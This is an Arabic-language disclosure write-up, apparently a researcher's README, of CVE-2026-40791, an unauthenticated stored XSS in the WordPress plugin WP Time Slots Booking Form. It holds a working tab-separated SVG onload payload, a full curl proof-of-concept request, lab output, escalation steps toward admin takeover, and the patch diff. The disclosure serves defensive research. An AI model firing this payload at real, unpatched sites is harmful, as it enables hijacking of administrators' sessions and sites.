
CVE-2026-40791: ثغرة XSS مخزنة غير مصادق عليها في WP Time Slots Booking Form <= 1.2.46
لقد اكتشفت ثغرة من نوع XSS مخزنة غير موثقة (unaunthenticated stored XSS) في إضافة ووردبريس WP Time Slots Booking Form. يقوم إرسال حجز عام بالتحكم في جزء من قيمة الفتحة الزمنية المخزنة. تطبع الإضافة لاحقًا تلك القيمة في صفحة طلبات الحجز (Booking Orders) الخاصة بالمسؤول دون هروب (escaping).
الحيلة بسيطة: الإضافة تقسم سلسلة الموعد المُرسلة بناءً على المسافات الحرفية (literal spaces)، لكن HTML يعامل التبويب (tab) كمسافة بين اسم الوسم والسمة. لذا 8:<svg[TAB]onload=...> ينجو من محلل الإضافة كقيمة الفتحة، ثم يصبح ترميزًا حقيقيًا عندما يفتح المسؤول قائمة الحجوزات.
| CVE | CVE-2026-40791 |
| الإضافة | WP Time Slots Booking Form |
| Slug | wp-time-slots-booking-form |
| الإصدار المتأثر | <= 1.2.46 |
| الإصدار المُصحح | 1.2.47 |
| نوع الثغرة | XSS مخزنة غير موثقة (CWE-79) |
| التأثير | حجز عام -> JavaScript في جلسة المسؤول wp-admin |
| CVSS | 7.2 عالية (Wordfence), 7.1 (Patchstack) |
| المُبلغ | Daniel Wade |
نموذج الحجز العام يقبل هذا الحقل:
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0
الإضافة تحلله هكذا:
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],
لأن الفاصل هو تبويب وليس مسافة حرفية، يصبح item_split[1]:
8:<svg onload=alert(document.cookie)>
يتم تسلسل (serialize) قيمة الفتحة تلك في الحجز. عندما يفتح المسؤول صفحة طلبات الحجز، الإصدار 1.2.46 يطبعها هنا:
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
لا هروب (escaping). يتم تشغيل الخاصية onload من SVG في صفحة المسؤول.
الأمر لا يقتصر على "هل يمكنني قراءة كuki المسؤول؟" عادةً ما تكون كuki المصادقة الحديثة في WordPress من نوع HttpOnly، لذا قد لا يكشف document.cookie عن الكuki الحقيقية wordpress_sec_*. الجزء المهم هو أن البرنامج النصي يعمل في صفحة من أصل المسؤول (admin-origin) ومصادق عليها. يمكنه جلب صفحات مسؤول من نفس الأصل، وقراءة nonces المكشوفة، وإرسال طلبات مسؤول مصادق عليها من متصفح الضحية.
التدفق الضعيف:
unauthenticated POST
-> fieldname1_1
-> extract_appointments()
-> explode(' ', $input)[1]
-> $apps[]['slot']
-> serialize()
-> wp_cptslotsbk_messages.posted_data
-> unserialize()
-> Booking Orders appointment badge
-> unescaped HTML output
يفترض المحلل أن الفتحة الزمنية هي مجرد نص. لكنها ليست كذلك. إنها مدخلات مهاجم تصل لاحقًا في سياق HTML.
المكان الضعيف موجود في cp-admin-int-message-list.inc.php:
$appts .= '<div class="ahb-appointment-badge">' .
'<span class="dashicons dashicons-clock"></span>' .
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
ذلك السطر phpcs:ignore WordPress.Security.EscapeOutput هو القصة كلها في سطر واحد. تم تجاهل تحذير الهروب (escaping) حيث كانت بيانات الحجز التي يتحكم فيها المهاجم تُطبع.
شكل الحمولة:
8:<svg[TAB]onload=alert(document.cookie)>
لماذا تعمل:
PHP explode(' ', ...)
"8:<svg<TAB>onload=...>" stays one token
Browser HTML parser
<svg<TAB>onload=...> becomes <svg onload=...>
يحصل محلل الفتحة على القيمة التي يتوقعها. يحصل المتصفح على الوسم الذي يعرف كيفية تنفيذه.
PowerShell:
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2
Bash:
./poc/reproduce.sh "http://127.0.0.1" 2
Curl يدوي:
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"
curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "cp_tslotsbooking_pform_process=1" \
--data-urlencode "cp_pform_psequence=_1" \
--data-urlencode "cp_tslotsbooking_id=1" \
--data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
--data-urlencode "fieldname2_1=John Doe" \
--data-urlencode "[email protected]" \
--data-urlencode "fieldname4_1=1234567890" \
--data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "form_structure_1=" \
--data-urlencode "refpage_1=" \
--data-urlencode "cp_tslotsbooking_pform_status="
النتيجة المتوقعة:
HTTP/1.1 302 Found
ثم سجل الدخول كمسؤول وافتح:
WP Time Slots Booking Form -> Booking Orders
يتم تشغيل الحمولة عند عرض صف الحجز المخزن.
لقد تحققت من السلسلة الكاملة في مختبر ووردبريس محلي مؤقت:
PHP 8.3.31 for Windows
MariaDB 11.4.12 on 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
CAPTCHA معطل في النموذج 1
صفحة عامة تحتوي على [CP_TIME_SLOTS_BOOKING id="1"]
تم إرسال سكربت PoC بواسطة PowerShell بنجاح:
HTTP status: 302
وصلت الحمولة إلى wp_cptslotsbk_messages.posted_data:
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"
ثم سجل متصفح Headless Chrome كمسؤول، وفتح صفحة طلبات الحجز، ورأى العلامة التي تم تعيينها بواسطة معالج SVG المخزن:
ADMIN_XSS_EXECUTED
كما اختبرت نفس الصفوف الضارة المخزنة بعد استبدال الإضافة بالإصدار 1.2.47. عرضت صفحة المسؤول الحمولة كنص مهرب:
04/15/2026 8:<svg onload=...>
لم يتم تشغيل أي علامة:
PATCHED_NO_XSS_EXECUTION
يوجد أيضًا اختبار تحقق عرض محلي صغير:
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1
يتحقق من الجزئين الميكانيكيين دون تثبيت ووردبريس كامل:
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.
لا يحتاج المهاجم إلى حساب. يقدم المهاجم حجزًا عامًا وينتظر حتى يفتح المسؤول صفحة طلبات الحجز.
بمجرد أن يعرض المسؤول تلك الصفحة، يعمل JavaScript الخاص بالمهاجم داخل أصل ووردبريس الخاص بالمسؤول. عادةً لا يتوقف المهاجم الحقيقي عند alert(document.cookie). سيستخدم متصفح المسؤول كمسؤول:
جلب صفحات المسؤول
-> قراءة nonces من HTML
-> إرسال طلبات POST مصادق عليها كمسؤول
-> تغيير حالة الموقع
اعتمادًا على صلاحيات المسؤول وتكوين الموقع، قد يعني ذلك إنشاء مستخدمين، تغيير إعدادات الإضافة، تعديل وجهات الإشعارات، قراءة بيانات الحجز/العملاء، أو التصعيد نحو السيطرة الكاملة على الموقع من خلال وظائف الإضافة/القالب.
يقوم الإصدار 1.2.47 بهروب (escaping) الفتحة المخزنة قبل بناء شارة المسؤول:
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'
هذا يصلح المكان الضعيف. سيكون التنقية المبكرة معقولة أيضًا، لكن الحدود الأمنية هي سياق إخراج HTML في صفحة المسؤول.
poc/
reproduce.ps1 # PowerShell unauthenticated booking submitter
reproduce.sh # Bash/curl unauthenticated booking submitter
lab/
render-check.html # Minimal vulnerable render fixture
validate-render.ps1 # Parser + browser execution sanity check
README.md
| التاريخ | الحدث |
|---|---|
| 2026-03-24 | تم الإبلاغ إلى Patchstack |
| 2026-04-13 | تم التحقق من التصحيح |
| 2026-04-23 | نشرت Wordfence إشعارًا |
إخلاء مسؤولية: ينشر إثبات المفهوم هذا لأغراض البحث الدفاعي والتحقق بعد توفر التصحيح. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
CVE-2026-40791 - تم إصلاحها في WP Time Slots Booking Form 1.2.47. المتأثر: 1.2.46 والإصدارات الأقدم.
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online
| 2026-04-24 | نشرت Patchstack إشعارًا |
| 2026-04-30 | آخر تحديث من Wordfence |